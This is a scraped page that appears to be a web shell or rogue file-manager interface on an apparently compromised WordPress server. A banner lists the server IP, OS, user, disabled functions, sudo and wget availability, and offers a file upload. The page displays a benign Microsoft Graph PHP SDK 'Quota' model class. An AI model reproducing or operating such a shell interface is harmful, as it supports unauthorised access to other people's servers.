Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* Quota File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* Quota class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class Quota extends Entity
{
/**
* Gets the deleted
* Total space consumed by files in the recycle bin, in bytes. Read-only.
*
* @return int|null The deleted
*/
public function getDeleted()
{
if (array_key_exists("deleted", $this->_propDict)) {
return $this->_propDict["deleted"];
} else {
return null;
}
}
/**
* Sets the deleted
* Total space consumed by files in the recycle bin, in bytes. Read-only.
*
* @param int $val The value of the deleted
*
* @return Quota
*/
public function setDeleted($val)
{
$this->_propDict["deleted"] = $val;
return $this;
}
/**
* Gets the remaining
* Total space remaining before reaching the quota limit, in bytes. Read-only.
*
* @return int|null The remaining
*/
public function getRemaining()
{
if (array_key_exists("remaining", $this->_propDict)) {
return $this->_propDict["remaining"];
} else {
return null;
}
}
/**
* Sets the remaining
* Total space remaining before reaching the quota limit, in bytes. Read-only.
*
* @param int $val The value of the remaining
*
* @return Quota
*/
public function setRemaining($val)
{
$this->_propDict["remaining"] = $val;
return $this;
}
/**
* Gets the state
* Enumeration value that indicates the state of the storage space. Read-only.
*
* @return string|null The state
*/
public function getState()
{
if (array_key_exists("state", $this->_propDict)) {
return $this->_propDict["state"];
} else {
return null;
}
}
/**
* Sets the state
* Enumeration value that indicates the state of the storage space. Read-only.
*
* @param string $val The value of the state
*
* @return Quota
*/
public function setState($val)
{
$this->_propDict["state"] = $val;
return $this;
}
/**
* Gets the storagePlanInformation
* Information about the drive's storage quota plans. Only in Personal OneDrive.
*
* @return StoragePlanInformation|null The storagePlanInformation
*/
public function getStoragePlanInformation()
{
if (array_key_exists("storagePlanInformation", $this->_propDict)) {
if (is_a($this->_propDict["storagePlanInformation"], "\Microsoft\Graph\Model\StoragePlanInformation") || is_null($this->_propDict["storagePlanInformation"])) {
return $this->_propDict["storagePlanInformation"];
} else {
$this->_propDict["storagePlanInformation"] = new StoragePlanInformation($this->_propDict["storagePlanInformation"]);
return $this->_propDict["storagePlanInformation"];
}
}
return null;
}
/**
* Sets the storagePlanInformation
* Information about the drive's storage quota plans. Only in Personal OneDrive.
*
* @param StoragePlanInformation $val The value to assign to the storagePlanInformation
*
* @return Quota The Quota
*/
public function setStoragePlanInformation($val)
{
$this->_propDict["storagePlanInformation"] = $val;
return $this;
}
/**
* Gets the total
* Total allowed storage space, in bytes. Read-only.
*
* @return int|null The total
*/
public function getTotal()
{
if (array_key_exists("total", $this->_propDict)) {
return $this->_propDict["total"];
} else {
return null;
}
}
/**
* Sets the total
* Total allowed storage space, in bytes. Read-only.
*
* @param int $val The value of the total
*
* @return Quota
*/
public function setTotal($val)
{
$this->_propDict["total"] = $val;
return $this;
}
/**
* Gets the used
* Total space used, in bytes. Read-only.
*
* @return int|null The used
*/
public function getUsed()
{
if (array_key_exists("used", $this->_propDict)) {
return $this->_propDict["used"];
} else {
return null;
}
}
/**
* Sets the used
* Total space used, in bytes. Read-only.
*
* @param int $val The value of the used
*
* @return Quota
*/
public function setUsed($val)
{
$this->_propDict["used"] = $val;
return $this;
}
}